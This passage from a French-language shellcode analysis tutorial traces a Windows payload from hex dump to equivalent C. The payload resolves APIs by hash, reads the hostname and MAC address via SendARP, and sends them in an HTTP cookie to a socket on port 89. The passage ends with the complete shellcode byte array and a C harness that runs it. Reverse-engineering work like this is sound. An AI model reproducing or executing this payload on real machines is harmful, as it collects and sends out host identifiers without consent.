équivalent.
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes
= WSAStartup(MAKEWORD(1,9), &WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
if( s1 == SOCKET_ERROR )
{
goto Error; // Aller à l'adresse 0000010E
}
else
{
}
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
Continuons dans le cas ou la
socket est crée correctement, on passe dans le code suivant:
000000EF: 89
C3 MOV
EBX,EAX
000000F1: 6A 10 PUSH
10h (16) ''
000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]
000000F9: 56 PUSH
ESI
000000FA: 53 PUSH
EBX
000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta"
(6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))
00000100: FF D5 CALL
EBP
|
Nous remettons la définition de
la MSDN de l'API connect
int WSAAPI connect( SOCKET s, const sockaddr *name, int namelen)
|
la ligne que l'on va regarder
de plus prés et celle correspondant au passage de la sturcture sockaddr. Au
travers de la ligne suivante
000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]
Comme EBP, pointe vers l'adresse de
l'CallFnByHash13Hybride_V1(Dll!Name) à
l'adresse 00000007
En conclusion, la ligne au dessus charge dans ESI l'addresse
pointé par EBP+0x000002E1. Ce qui nous donne 0x000002E8. En regardant ce qui ce
trouve à cette adresse
000002E8: 02 00
000002EA: 00
000002EB: 59
000002EC: 7F 00
000002EE: 00 01
|
comme il est plus pratique d'utilisé la structure
"sockaddr_in" que la structure "sockaddr"
les définitions MSDN
struct sockaddr_in {
short sin_family; // e.g. AF_INET
unsigned short
sin_port; // e.g.
htons(XXXX)
struct in_addr
sin_addr; // see struct
in_addr, below
char
sin_zero[8]; // zero this if
you want to
};
struct in_addr {
unsigned long s_addr;
// load with inet_aton()
};
Rappel de la définition de AF_INET
#define AF_INET 2 /* internetwork: UDP,
TCP, etc. */
|
comme la suite des instruction son encore un test EAX, il
est simple de comprendre qu'il test le retour de l'Api "connect"
00000102: 85 C0 TEST
EAX,EAX
00000104: 74 1F JZ
0x1F (+1Fh ->:00000125)
|
On peut en déduire cela en code C suivant: sachant que "If
no error occurs, connect returns zero."
DWORD dwPortNo = 0089;
struct sockaddr_in c;
c.sin_family = AF_INET;
c.sin_port = htons(dwPortNo);
c.sin_addr.s_addr =
inet_addr (("127.0.0.1");
if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )
{
// Suite du
code 0x00000125
}
|
nous pouvons donc compléter
notre équivalent de code C
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
if( s1 == SOCKET_ERROR )
{
goto Error; // Aller à l'adresse 0000010E
}
else
{
DWORD dwPortNo = 0089;
struct sockaddr_in c;
c.sin_family = AF_INET;
c.sin_port
= htons(dwPortNo);
c.sin_addr.s_addr =
inet_addr (("127.0.0.1");
if ( connect ( s1, (struct
sockaddr*)&c, sizeof c ) == 0 )
{
// aller au code 0x0000125
}
}
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
Continuons en regardant
l'adresse 0x00000125 , cela nous donne les lignes suivant:
00000125: B8 00 01 00 00 MOV EAX, 00000100h ""
0000012A: 29 C4 SUB
ESP,EAX
0000012C: 89 E2 MOV
EDX,ESP
0000012E: 52 PUSH
EDX
0000012F: 50 PUSH
EAX
00000130: 52 PUSH
EDX
00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ"
(01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))
00000136: FF D5 CALL
EBP
|
Là cela devient plus
intéressant, on tombe sur une Api GetHostName(..) qui permet de connaître le
nom du poste ou est appeler l'API
la premier partie est
allocation de 256 octets sur la pile. le code équivalent en C sera
char szHostBuffer[256]; int hostname; // To
retrieve hostname hostname
= gethostname( szHostBuffer, sizeof( szHostBuffer)); |
et voila encore quelque ligne
qui complète notre code
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
if( s1 == SOCKET_ERROR )
{
goto Error; // Aller à
l'adresse 0000010E
}
else
{
DWORD dwPortNo = 0089;
struct sockaddr_in c;
c.sin_family = AF_INET;
c.sin_port = htons(dwPortNo);
c.sin_addr.s_addr =
inet_addr (("127.0.0.1");
if ( connect ( s1, (struct
sockaddr*)&c, sizeof c ) == 0 )
{
// aller au code 0x0000125
char szHostBuffer[256]; DWORD dwHostName; // To
retrieve hostname dwHostName = gethostname( szHostBuffer, sizeof( szHostBuffer));
}
}
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
Pour l'instant passe sur le
test et le saut en cas ou dw
HostName = 0
et
concentrons nous sur les instructions suivant:
0000013F: 85 C0 TEST
EAX,EAX
00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)
00000147: 57 PUSH
EDI
00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)
|
On va regarder ce qui se trouve
à l'addresse 0x00000246
On arrive sur le code suivant :
00000246: 31 C9 XOR
ECX,ECX
00000248: F7 D1 NOT
ECX
0000024A: 31 C0 XOR
EAX,EAX
0000024C: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
0000024E: F7 D1 NOT
ECX
00000250: 49 DEC ECX
00000251: C3 RET
|
cette fonction est d'une forme
assez évidente elle correspond à une gestion de chaîne.
Assez reconnaissable par
l'instruction REPNE
Pour la tester, nous avons
écrit un petit programme comme vous pouvez le voir sur la capture écran en
dessous:
Nous mettons l'écriture de la fonction
crée
DWORD
__declspec(naked) AsmFunctionC_strlen_V1(char* pText)
{
__asm
{
MOV EDI,DWORD PTR [ESP+04h]
XOR ECX,ECX
NOT ECX
XOR EAX,EAX
REPNE SCAS BYTE PTR
ES:[EDI]
NOT ECX
DEC ECX
MOV EAX,ECX
RET
}
}
|
Comme vous pouvez le voir ce
bloc n'est que l'équivalent à la fonction C "strlen"
Nous avons intégré cette
signature dans notre outil, et suite à cela nous obtenons les lignes suivantes:
00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)
00000246 -> 00000250: =>{BLOC}[AsmFunctionC_strlen_V1 ->
ECX] l'Adresse du string est passé par EDI
00000251: C3 RET
|
On va pouvoir compléter notre
similitude du programme écriture en C
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
if( s1 == SOCKET_ERROR )
{
goto Error; // Aller à l'adresse 0000010E
}
else
{
DWORD dwPortNo = 0089;
struct sockaddr_in c;
c.sin_family = AF_INET;
c.sin_port = htons(dwPortNo);
c.sin_addr.s_addr =
inet_addr (("127.0.0.1");
if ( connect ( s1, (struct
sockaddr*)&c, sizeof c ) == 0 )
{
// aller au code 0x0000125
char szHostBuffer[256]; DWORD dwHostName; // To
retrieve hostname dwHostName = gethostname( szHostBuffer, sizeof( szHostBuffer)); DWORD dwHostNameLen = strlen( szHostBuffer);
}
}
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
en suite nous avons un appel
suivant après les opérations sur la chaîne
0000017F: 56 PUSH
ESI
00000180: 68 A9 28 34 80 PUSH 803428A9h "©(4"
(803428A9=Hash[ROR13-Hybrid](ws2_32.dll!gethostbyname))
00000185: FF D5 CALL
EBP
00000187: 85 C0 TEST
EAX,EAX
00000189: 0F 84
AA 00 00 00 JE 000000AAh
(+AAh ->:00000239)
|
qui correspond à l'appel en C
suivant
struct
hostent *host_info = gethostbyname(sz
HostBuffer
);
if
(host_info==0) goto 0x00000239
comme la structure
"hosten" est définit comme suite:
struct hostent {
char FAR * h_name;
/* official name of host */
char FAR * FAR * h_aliases;
/* alias list */
short h_addrtype;
/* host address type */
short h_length; /* length of address */
char FAR * FAR * h_addr_list; /* list of addresses */
#define
h_addr h_addr_list[0] /* address, for backward compat */
};
|
donc les lignes qui suivent
sert à vérifier la valeur de h_length
0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]
00000193: 66 83 F9 04 CMP CX,0x0004
00000197: 0F 82 9C 00 00 00 JB Loc_00000239
|
Note pour rappel char FAR*
correspond à un pointeur donc un DWORD en X32
d'ou 4+4 +2(short) = 10 qui en
hexadécimal donne 0x0A ;o)
la ligne JB (Jump near
if below (CF=1)) si la valeur n'est pas égale on va à l'adresse indiqué .Dans le
code ici c'est 0x00000239
struct
hostent *host_info = gethostbyname(sz
HostBuffer
);
if
(host_info==0) goto 0x00000239
if(host_info.h_length<>0x04)
goto 0x00000239
cela nous donne maintenant que
quoi complété notre programme C
if(!strcmp(pszString,"GET
"))
{
// la chaîne contient "GET "
HMODULE hWs2_32 = LoadLibrary("ws2_32");
if(!hWs2_32)
{
// La dll n'a pas pu être chargé (aller à
l'adresse 0000010E )
goto Error;
}
int iRes = WSAStartup(MAKEWORD(1,9),
&WSAData);
if(
iRes ) goto Error;
// Aller à l'adresse 0000010E
s1 = WSASocket(AF_INET , SOCK_STREAM , IPPROTO_TCP , NULL, NULL, NULL);
if( s1 == SOCKET_ERROR )
{
goto Error; // Aller à l'adresse 0000010E
}
else
{
DWORD dwPortNo = 0089;
struct sockaddr_in c;
c.sin_family = AF_INET;
c.sin_port = htons(dwPortNo);
c.sin_addr.s_addr = inet_addr (("127.0.0.1");
if ( connect ( s1, (struct
sockaddr*)&c, sizeof c ) == 0 )
{
// aller au code 0x0000125
char szHostBuffer[256]; DWORD dwHostName; // To
retrieve hostname dwHostName = gethostname( szHostBuffer, sizeof( szHostBuffer)); DWORD dwHostNameLen = strlen( szHostBuffer);
struct hostent
*host_info = gethostbyname(sz
HostBuffer );
if (host_info==0)
goto 0x00000239
if(host_info.h_length<>0x04) goto 0x00000239
}
}
}
else
{
// la chaîne ne commence pas par GET ( Au niveau du
shellcode zone en 0x0000010E )
}
// La dll n'a pas pu être chargé (aller à l'adresse 0000010E
)
Error:
|
nous arrivons sur les lignes
suivant, maintenant.
0000019D: 8D 40 0C LEA
EAX,DWORD PTR [EAX+0Ch]
000001A0: 8B 00 MOV
EAX,DWORD PTR [EAX]
000001A2: 8B 08 MOV
ECX,DWORD PTR [EAX]
000001A4: 8B 09 MOV
ECX,DWORD PTR [ECX]
000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""
000001AB: 50 PUSH
EAX
000001AC: 89 E7 MOV
EDI,ESP
000001AE: 29 C4 SUB
ESP,EAX
000001B0: 89 E6 MOV
ESI,ESP
000001B2: 57 PUSH
EDI
000001B3: 56 PUSH
ESI
000001B4: 51 PUSH
ECX
000001B5: 51 PUSH
ECX
000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸"
(B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))
000001BB: FF D5 CALL
EBP
|
Cette Api "SendARP" envoie une demande ARP (Address Resolution Protocol) afin
d’obtenir la MAC adresse correspondant à l’adresse IPv4 de destination
spécifiée.
la déclaration de l'Api
typedef
DWORD (WINAPI* pSendARP)(struct in_addr DestIP, struct in_addr SrcIP, PULONG
pMacAddr, PULONG PhyAddrLen );
les lignes suivante définissent
les paramètres DestIP et ScrIP
0000019D: 8D 40 0C LEA
EAX,DWORD PTR [EAX+0Ch]
000001A0: 8B 00 MOV
EAX,DWORD PTR [EAX]
000001A2: 8B 08 MOV
ECX,DWORD PTR [EAX]
000001A4: 8B 09 MOV
ECX,DWORD PTR [ECX]
|
d'ou en écriture C,cela
équivaut au ligne suivant
BYTE
MacAddr[256];
ULONG
PhyAddrLen = 0x100;
//Send
an arp packet
DWORD
ret = SendArp(destip , srcip , MacAddr ,&PhyAddrLen);
cela donne le bloc
struct hostent *host_info
= gethostbyname(sz
HostBuffer );
if (host_info==0)
goto 0x00000239
if
(host_info.h_length<>0x04) goto 0x00000239
BYTE
MacAddr[256];
ULONG PhyAddrLen = 0x100;
//Send an arp
packet
DWORD ret = SendArp(host_info, host_info,
MacAddr ,&PhyAddrLen);
|
en suite, un bloc ou contient
la trame http à envoyé et complété avec les infos récupéré
et placer en remplacement de
contenu et assemblage de la chaîne finale
Après il assez facile de
déduire la suite
00000229: 31 C0 XOR
EAX,EAX
0000022B: 50 PUSH
EAX
0000022C: 51 PUSH
ECX
0000022D: 29 CF SUB
EDI,ECX
0000022F: 4F DEC
EDI
00000230: 57 PUSH
EDI
00000231: 53 PUSH
EBX
00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_"
(5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))
00000237: FF D5 CALL
EBP
|
Elle correspond au ligne ou
szSendBuf est la chaîne construit avant
// Send an initial buffer
int iResult = send(s1, szSendBuf,
( int) strlen(szSendBuf), 0); |
et enfin les lignes pour int iResult = closesocket(
s1);
00000239: 53 PUSH
EBX
0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa"
(614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
0000023F: FF D5 CALL
EBP
00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)
|
C'est là
que cela vers un problème dans la suite du code, il a bien un test qui passe
valide et renvoi à la ligne 0x0000011E
0000010E: 80 BD
4F 02 00 00 01 CMP BYTE
PTR[EBP+0x0000024F],0x01
00000115: 74 07 JZ
0x07 (+07h ->:0000011E)
00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)
0000011C: EB 05 JMP
05h +05h ->:00000123)
0000011E: E8 4D 01 00 00 CALL
0000014Dh (+14Dh ->:00000270)
|
qui
abouti à l'appel vers l'adresse 0x00000270, rappel la fonction
AsmFunctionC_strlen_V1(char* pText)
(situé à l'adresse 0x00000246 )
00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)
0000027B: C3 RET
|
C'est
cette partie qui devrait arrivé vers fin programme standard , l'adresse devrait
être différent. Il semble que fin construction du programme a été bricolé ou
volontaire renvoyer vers pour un plantage.
V. Test pratique du shellcode
Nous avons fait le test
pratique via un de programme permettant de crée des shellcodes
Mais aussi de les exécuter et
de tester cela. Nous avons lancer un de petit serveur web d'analyse pour simulé
le serveur web en local avec le port 89.
Nous pouvons voir qui a récupéré
le Host:PCHack01 et fournit dans le Cookie la Mac Address ID=0003FF007402 de
notre de la carte virtuel de notre machine virtuel.
Vous pouvez faire cela également avec un programme suivant
ou szShellCode contient le shellcode à tester
#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
unsigned char szShellCode[]
=
"\x60\xFC\xE8\x8A\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30"
"\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31"
"\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52"
"\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A"
"\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34"
"\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75"
"\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66"
"\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24"
"\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"
"\x90\x5D\x81\xBD\xE9\x02\x00\x00\x47\x45\x54\x20\x75\x70\x8D\x85"
"\xD1\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0\x74\x5E"
"\x8D\x85\xD8\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0"
"\x74\x4C\xBB\x90\x01\x00\x00\x29\xDC\x54\x53\x68\x29\x80\x6B\x00"
"\xFF\xD5\x01\xDC\x85\xC0\x75\x36\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xEA\x0F\xDF\xE0\xFF\xD5\x31\xDB\xF7\xD3\x39\xC3\x74\x1F\x89"
"\xC3\x6A\x10\x8D\xB5\xE1\x02\x00\x00\x56\x53\x68\x99\xA5\x74\x61"
"\xFF\xD5\x85\xC0\x74\x1F\xFE\x8D\x89\x00\x00\x00\x75\xE3\x80\xBD"
"\x4F\x02\x00\x00\x01\x74\x07\xE8\x3B\x01\x00\x00\xEB\x05\xE8\x4D"
"\x01\x00\x00\xFF\xE7\xB8\x00\x01\x00\x00\x29\xC4\x89\xE2\x52\x50"
"\x52\x68\xB6\x49\xDE\x01\xFF\xD5\x5F\x81\xC4\x00\x01\x00\x00\x85"
"\xC0\x0F\x85\xF2\x00\x00\x00\x57\xE8\xF9\x00\x00\x00\x5E\x89\xCA"
"\x8D\xBD\xE9\x02\x00\x00\xE8\xEB\x00\x00\x00\x4F\x83\xFA\x20\x7C"
"\x05\xBA\x20\x00\x00\x00\x89\xD1\x56\xF3\xA4\xB9\x0D\x00\x00\x00"
"\x8D\xB5\xC4\x02\x00\x00\xF3\xA4\x89\xBD\x4B\x02\x00\x00\x5E\x56"
"\x68\xA9\x28\x34\x80\xFF\xD5\x85\xC0\x0F\x84\xAA\x00\x00\x00\x66"
"\x8B\x48\x0A\x66\x83\xF9\x04\x0F\x82\x9C\x00\x00\x00\x8D\x40\x0C"
"\x8B\x00\x8B\x08\x8B\x09\xB8\x00\x01\x00\x00\x50\x89\xE7\x29\xC4"
"\x89\xE6\x57\x56\x51\x51\x68\x48\x72\xD2\xB8\xFF\xD5\x85\xC0\x81"
"\xC4\x04\x01\x00\x00\x0F\xB7\x0F\x83\xF9\x06\x72\x6C\xB9\x06\x00"
"\x00\x00\xB8\x10\x00\x00\x00\x29\xC4\x89\xE7\x89\xCA\xD1\xE2\x50"
"\x52\x31\xD2\x8A\x16\x88\xD0\x24\xF0\xC0\xE8\x04\x3C\x09\x77\x04"
"\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x88\xD0\x24\x0F\x3C\x09\x77"
"\x04\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x46\xE2\xD4\x59\x29\xCF"
"\x89\xFE\x58\x01\xC4\x8B\xBD\x4B\x02\x00\x00\xF3\xA4\xC6\x85\x4F"
"\x02\x00\x00\x01\xE8\x2E\x00\x00\x00\x31\xC0\x50\x51\x29\xCF\x4F"
"\x57\x53\x68\xC2\xEB\x38\x5F\xFF\xD5\x53\x68\x75\x6E\x4D\x61\xFF"
"\xD5\xE9\xC8\xFE\xFF\xFF\x31\xC9\xF7\xD1\x31\xC0\xF2\xAE\xF7\xD1"
"\x49\xC3\x00\x00\x00\x00\x01\x8D\xBD\xE9\x02\x00\x00\xE8\xE4\xFF"
"\xFF\xFF\x4F\xB9\x4F\x00\x00\x00\x8D\xB5\x75\x02\x00\x00\xF3\xA4"
"\x8D\xBD\xE9\x02\x00\x00\xE8\xCB\xFF\xFF\xFF\xC3\x0D\x0A\x43\x6F"
"\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x6B\x65\x65\x70\x2D\x61"
"\x6C\x69\x76\x65\x0D\x0A\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F"
"\x2A\x0D\x0A\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69"
"\x6E\x67\x3A\x20\x67\x7A\x69\x70\x0D\x0A\x0D\x0A\x00\x83\xC7\x0E"
"\x31\xC9\xF7\xD1\x31\xC0\xF3\xAE\x4F\xFF\xE7\x0D\x0A\x43\x6F\x6F"
"\x6B\x69\x65\x3A\x20\x49\x44\x3D\x77\x73\x32\x5F\x33\x32\x00\x49"
"\x50\x48\x4C\x50\x41\x50\x49\x00\x02\x00\x00\x59\x7F\x00\x00\x01"
"\x47\x45\x54\x20\x2F\x30\x35\x63\x65\x61\x34\x64\x65\x2D\x39\x35"
"\x31\x64\x2D\x34\x30\x33\x37\x2D\x62\x66\x38\x66\x2D\x66\x36\x39"
"\x30\x35\x35\x62\x32\x37\x39\x62\x62\x20\x48\x54\x54\x50\x2F\x31"
"\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
int APIENTRY
_tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR
lpCmdLine,
int
nCmdShow)
{
int (*TestRun_Shellcode)() =
(int(*)())(&szShellCode [0]);
TestRun_Shellcode();
return 1;
}
|
VI. Conclusions
L'intérêt ici était de voir comment
obtenir à partir du dump l'obtention du code et remonté à une transcription
vers un langage plus évolué ici le C ou C++.
De comprendre le processus de
reconnaissance par signature comme strlen(..). Car la technique étant lié à une
identification d'un bloc d'opcode , elle permet de rapidement connaitre les
appels et la typologie du shellcode.
L'intérêt ici est surtout de voir l'analyse d'une charge utile
et le cheminement pour comprendre son fonctionnement finale.